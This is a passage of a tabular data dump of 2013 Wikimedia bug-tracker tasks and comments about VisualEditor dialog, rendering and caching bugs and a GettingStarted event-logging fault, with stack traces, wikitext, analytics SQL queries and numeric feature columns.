**Severity**: normal",Needs Triage,90.0,1372263600,1372271165.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-alyz2tg2s4hlxhbv3yqa,task_description,resolved,True,c1,2,False,False,True,-1,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.8536585365853657,0.7073170731707317,"Adding a template to a page (say, URL ) for some reason blocks the opening of the page settings dialogue.

--------------------------
**Version**: unspecified
**Severity**: normal"
252971,VisualEditor: Dialogs won't open after adding a template at the end of the page,"(In reply to comment #1)
> (In reply to comment #0)
> > Adding a template to a page (say, https://en.wikipedia.org/wiki/Eugene_Lies )
> > for some reason blocks the opening of the page settings dialogue.
> 
> Is this in Monobook or in Vector? AFAICS this works for me in Vector fine; in
> Monobook, there's the bug 50241 issue but that's it.

Aha, tracked it down:

Uncaught Error: Offset could not be translated to a DOM element and offset: 136 ve.ce.Document.js:187
ve.ce.Document.getNodeAndOffset ve.ce.Document.js:187
ve.ce.Surface.showSelection ve.ce.Surface.js:1296
ve.ce.Surface.onChange ve.ce.Surface.js:745
oo.EventEmitter.emit oo.js:421
ve.dm.Surface.change ve.dm.Surface.js:402
ve.dm.SurfaceFragment.insertContent ve.dm.SurfaceFragment.js:581
ve.ui.MWTransclusionDialog.onClose ve.ui.MWTransclusionDialog.js:110
ve.ui.Window.close ve.ui.Window.js:328
(anonymous function) ve.ui.Dialog.js:118
proxy load.php:775


This is bug 47947 - which we really need to fix now. :-(

*** This bug has been marked as a duplicate of bug 47947 ***",,,1372271165,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-alyz2tg2s4hlxhbv3yqa,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,4.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,0.5,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,2.0,11.0,0.0,0.5,4.0,0.0,0.0,0.0,0.5,2.0,0.0,4.5,0.5,1.5,4.5,17.5,0.0,0.0,0.0,1.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,5.832513661202185,0.6781420765027322,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Aha, tracked it down:

Uncaught Error: Offset could not be translated to a DOM element and offset: 136 ve.ce.Document.js:187
ve.ce.Document.getNodeAndOffset ve.ce.Document.js:187
ve.ce.Surface.showSelection ve.ce.Surface.js:1296
ve.ce.Surface.onChange ve.ce.Surface.js:745
oo.EventEmitter.emit oo.js:421
ve.dm.Surface.change ve.dm.Surface.js:402
ve.dm.SurfaceFragment.insertContent ve.dm.SurfaceFragment.js:581
ve.ui.MWTransclusionDialog.onClose ve.ui.MWTransclusionDialog.js:110
ve.ui.Window.close ve.ui.Window.js:328
(anonymous function) ve.ui.Dialog.js:118
proxy load.php:775


This is bug 47947 - which we really need to fix now. :-(

*** This bug has been marked as a duplicate of bug 47947 ***"
252966,VisualEditor: Dialogs won't open after adding a template at the end of the page,"(In reply to comment #0)
> Adding a template to a page (say, https://en.wikipedia.org/wiki/Eugene_Lies )
> for some reason blocks the opening of the page settings dialogue.

Is this in Monobook or in Vector? AFAICS this works for me in Vector fine; in Monobook, there's the bug 50241 issue but that's it.",,,1372269533,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-alyz2tg2s4hlxhbv3yqa,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,0.0,5.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,5.0,16.0,11.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.7954545454545454,"(In reply to comment #0)
QUOTE
QUOTE

Is this in Monobook or in Vector? AFAICS this works for me in Vector fine; in Monobook, there's the bug 50241 issue but that's it."
52226,VisualEditor not working due to unflushed ResourceLoader cache?,"What ""not working"" means is that templates, links, references and images cannot be interacted with, at all. References and templates don't acknowledge they're there, images bug out, and the link inspector does not appear for links. I've had a group of users test this, and they've all reported wildly inconsistent results; this is happening for some but not for others, with no correlation in OS, browser or even skin.

--------------------------
**Version**: unspecified
**Severity**: major
**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1372252500,1372864641.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bcsg2progke55h2rhst6,task_description,resolved,True,c1,2,False,False,True,-1,,2.0,0.0,0.0,0.5,3.0,2.5,0.5,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.5,0.0,6.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,5.0,0.5,0.0,1.5,0.0,0.5,0.0,1.0,0.0,1.0,1.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,1.0,2.0,5.0,0.5,4.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.5,1.0,0.0,1.0,0.0,2.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,3.913793103448276,0.7327586206896551,"What ""not working"" means is that templates, links, references and images cannot be interacted with, at all. References and templates don't acknowledge they're there, images bug out, and the link inspector does not appear for links. I've had a group of users test this, and they've all reported wildly inconsistent results; this is happening for some but not for others, with no correlation in OS, browser or even skin.

--------------------------
**Version**: unspecified
**Severity**: major
**Whiteboard**: aklapper-moreinfo"
251967,VisualEditor not working due to unflushed ResourceLoader cache?,"(In reply to comment #2)
> I assume this is obsolete now?

Sorry, yes, we got this fixed; thanks Sam, and thanks for the follow-up, Andre.",,,1372864641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcsg2progke55h2rhst6,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8484848484848486,0.8787878787878788,"(In reply to comment #2)
QUOTE

Sorry, yes, we got this fixed; thanks Sam, and thanks for the follow-up, Andre."
251961,VisualEditor not working due to unflushed ResourceLoader cache?,I assume this is obsolete now?,,,1372846999,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bcsg2progke55h2rhst6,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,I assume this is obsolete now?
251955,VisualEditor not working due to unflushed ResourceLoader cache?,"I think we fixed this with a touch on ve.js by Reedy - please confirm? (Gah, forgot to say this 3 hours ago.)",,,1372266477,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcsg2progke55h2rhst6,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,7.0,14.0,11.0,4.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.107142857142857,0.9642857142857143,"I think we fixed this with a touch on ve.js by Reedy - please confirm? (Gah, forgot to say this 3 hours ago.)"
52213,VisualEditor: Extra bullet point before template containing bulleted list,"VE rendering of [[WUEC#External_links]] does not match MW rendering.

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1372230840,1372295480.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-7ma6pcpqiiyq3gvijprg,task_description,invalid,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.09375,0.625,"VE rendering of [[WUEC#External_links]] does not match MW rendering.

--------------------------
**Version**: unspecified
**Severity**: minor"
251257,VisualEditor: Extra bullet point before template containing bulleted list,"This is a slightly-faulty use of wikitext on the page - it dereferences to

*[http://www.wpr.org/ Wisconsin Public Radio]
*{{FM station data|WUEC}}

->

*[http://www.wpr.org/ Wisconsin Public Radio]
*
*{{FMQ|WUEC}}
*{{FML|WUEC}}
*{{FMARB|WUEC}}

… and gets displayed as such, in case you want to edit that otherwise-inexpliably-hidden bullet. Marking as INVALID (but yeah, eww at that wikitext).",,,1372295480,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ma6pcpqiiyq3gvijprg,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,4.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,9.5,1.0,2.0,2.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.5,7.5,7.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,2.0,3.127450980392157,0.6568627450980392,"This is a slightly-faulty use of wikitext on the page - it dereferences to

*[URL Wisconsin Public Radio]
*{{FM station data|WUEC}}

->

*[URL Wisconsin Public Radio]
*
*{{FMQ|WUEC}}
*{{FML|WUEC}}
*{{FMARB|WUEC}}

… and gets displayed as such, in case you want to edit that otherwise-inexpliably-hidden bullet. Marking as INVALID (but yeah, eww at that wikitext)."
52211,VisualEditor: References prevent floats from being selected and edited,"screenshot

When floats (like images or templates) are located at the same level as references, the blue rectangle of the references prevents the user from selecting (and editing) the floats. See attached screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11749}",Needs Triage,90.0,1372228380,1373164008.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-sgceljbbtlgbbpr3bdfh,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,9.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.057971014492754,0.6231884057971014,"screenshot

When floats (like images or templates) are located at the same level as references, the blue rectangle of the references prevents the user from selecting (and editing) the floats. See attached screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11749}"
251151,VisualEditor: References prevent floats from being selected and edited,"Entirely-confusingly, this is the same as bug 50395 (which is more detailed, so I'll up-merge this into that one). Sorry for the slow update.

*** This bug has been marked as a duplicate of bug 50395 ***",,,1373164008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sgceljbbtlgbbpr3bdfh,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,2.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,8.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.169811320754717,0.7169811320754716,"Entirely-confusingly, this is the same as bug 50395 (which is more detailed, so I'll up-merge this into that one). Sorry for the slow update.

*** This bug has been marked as a duplicate of bug 50395 ***"
52210,VisualEditor: Opening Page settings dialog doesn't close heading format drop-down,"screenshot

Steps to reproduce:
* Click on the heading format drop-down menu. Don't close it.
* Click on the Page settings menu.

Expected result:
* The heading format drop-down is closed before the Page settings dialog shows up.

Actual result:
* The heading format drop-down remains open (and selectable) on top of the Page settings dialog (see attached screenshot).

Observed in Firefox 21.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11748}",Needs Triage,90.0,1372227660,1373163131.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-z2wr7yxi5vylreuzml56,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.5,0.5,6.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,6.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,0.5,11.5,0.0,1.0,3.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,0.5,6.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6477401129943505,0.6223163841807909,"screenshot

Steps to reproduce:
* Click on the heading format drop-down menu. Don't close it.
* Click on the Page settings menu.

Expected result:
* The heading format drop-down is closed before the Page settings dialog shows up.

Actual result:
* The heading format drop-down remains open (and selectable) on top of the Page settings dialog (see attached screenshot).

Observed in Firefox 21.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11748}"
251095,VisualEditor: Opening Page settings dialog doesn't close heading format drop-down,"This is still true (and deliberate), but since our major re-vamp of how windows stack on top of one another, no longer an issue; closing as FIXED.",,,1373163131,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z2wr7yxi5vylreuzml56,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,3.4285714285714284,0.9428571428571428,"This is still true (and deliberate), but since our major re-vamp of how windows stack on top of one another, no longer an issue; closing as FIXED."
52207,VisualEditor: Image size parameter with spaces is ignored,"See [[testwiki:VisualEditor:Little or big]].

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372216200,1372216311.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-6xivramwe724jwphgukh,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.6451612903225805,0.5806451612903226,"See [[testwiki:VisualEditor:Little or big]].

--------------------------
**Version**: unspecified
**Severity**: normal"
250900,VisualEditor: Image size parameter with spaces is ignored,"

*** This bug has been marked as a duplicate of bug 49696 ***",,,1372216311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6xivramwe724jwphgukh,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49696 ***"
52204,Logging broken for GettingStarted (page-save-success logged as page-impression),"**Author:** `swalling`

**Description:**
Looking at the logs for the latest GettingStarted schema (GettingStartedNavbar_5496876) I am not finding a page-save-success event since June 6th. 

This may have something to do with the VisualEditor split test or maybe not. I am seeing very few events (28 total) of any kind being logged on enwiki after 2013-06-20 when logging for the VE split test was enabled. This is obviously wrong, since there were more than 150 revisions tagged as gettingstarted-edit yesterday alone.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372206060,1374273514.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-q3v5q4q6bifjgxghffaq,task_description,resolved,True,c1,2,False,False,True,-1,,1.5,0.5,0.5,1.5,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.5,8.0,0.5,0.5,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,10.0,1.5,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,4.0,8.5,2.0,0.5,5.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,1.0,8.0,5.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,2.5,1.0,0.5,0.0,4.0006200396825395,0.7875744047619048,"**Author:** CODE

**Description:**
Looking at the logs for the latest GettingStarted schema (GettingStartedNavbar_5496876) I am not finding a page-save-success event since June 6th. 

This may have something to do with the VisualEditor split test or maybe not. I am seeing very few events (28 total) of any kind being logged on enwiki after 2013-06-20 when logging for the VE split test was enabled. This is obviously wrong, since there were more than 150 revisions tagged as gettingstarted-edit yesterday alone.

--------------------------
**Version**: unspecified
**Severity**: normal"
250671,Logging broken for GettingStarted (page-save-success logged as page-impression),"Looks properly fixed with the 2013-07-18 rollout of wmf10 to enwiki that included this fix, plus and later that day the changes to restore GettingStarted after CentralAuth/SUL2 changed.

SELECT LEFT( timestamp, 8), COUNT(*) FROM GettingStartedNavbar_5588671 WHERE wiki = ""enwiki"" AND event_action = ""page-save-success"" AND event_funnel = ""returnto"" GROUP BY 1;

+---------------------+----------+
| LEFT( timestamp, 8) | COUNT(*) |
+---------------------+----------+
| 20130702            |        1 |
| 20130718            |       17 |
| 20130719            |      235 |
+---------------------+----------+",,,1374273514,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,4.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,21.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.5,0.5,2.5,2.0,0.0,0.0,0.0,0.0,1.5,1.0,8.5,0.0,0.0,4.5,9.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.426229508196721,0.6885245901639344,"Looks properly fixed with the 2013-07-18 rollout of wmf10 to enwiki that included this fix, plus and later that day the changes to restore GettingStarted after CentralAuth/SUL2 changed.

SELECT LEFT( timestamp, 8), COUNT(*) FROM GettingStartedNavbar_5588671 WHERE wiki = ""enwiki"" AND event_action = ""page-save-success"" AND event_funnel = ""returnto"" GROUP BY 1;

+---------------------+----------+
| LEFT( timestamp, 8) | COUNT(*) |
+---------------------+----------+
| 20130702            |        1 |
| 20130718            |       17 |
| 20130719            |      235 |
+---------------------+----------+"
250664,Logging broken for GettingStarted (page-save-success logged as page-impression),"**swalling** wrote:

https://gerrit.wikimedia.org/r/#/c/71575/ was scheduled to be deployed last week, but we flubbed a bit and it did not go out to 1.22wmf9 until today. 

I am still seeing only one page-save-success in the returnto funnel as of today, so the patch not getting deployed may be the likely culprit.",,,1374090128,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,3.0,3.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,8.0,11.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,5.0,11.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.5076923076923077,0.7846153846153846,"**swalling** wrote:

URL was scheduled to be deployed last week, but we flubbed a bit and it did not go out to 1.22wmf9 until today. 

I am still seeing only one page-save-success in the returnto funnel as of today, so the patch not getting deployed may be the likely culprit."
250657,Logging broken for GettingStarted (page-save-success logged as page-impression),"There are still no page-save-success + returnto events in prod, so there may be an RL issue.

Re-opening until we're sure it's fixed.

A relevant query is:

SELECT COUNT(*) FROM GettingStartedNavbar_5588671 WHERE wiki = ""enwiki""
AND event_action = ""page-save-success"" AND event_funnel = ""returnto"";",,,1373589867,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,15.0,1.0,5.0,4.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,3.0,7.0,7.0,0.0,8.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5616438356164384,0.7397260273972602,"There are still no page-save-success + returnto events in prod, so there may be an RL issue.

Re-opening until we're sure it's fixed.

A relevant query is:

SELECT COUNT(*) FROM GettingStartedNavbar_5588671 WHERE wiki = ""enwiki""
AND event_action = ""page-save-success"" AND event_funnel = ""returnto"";"
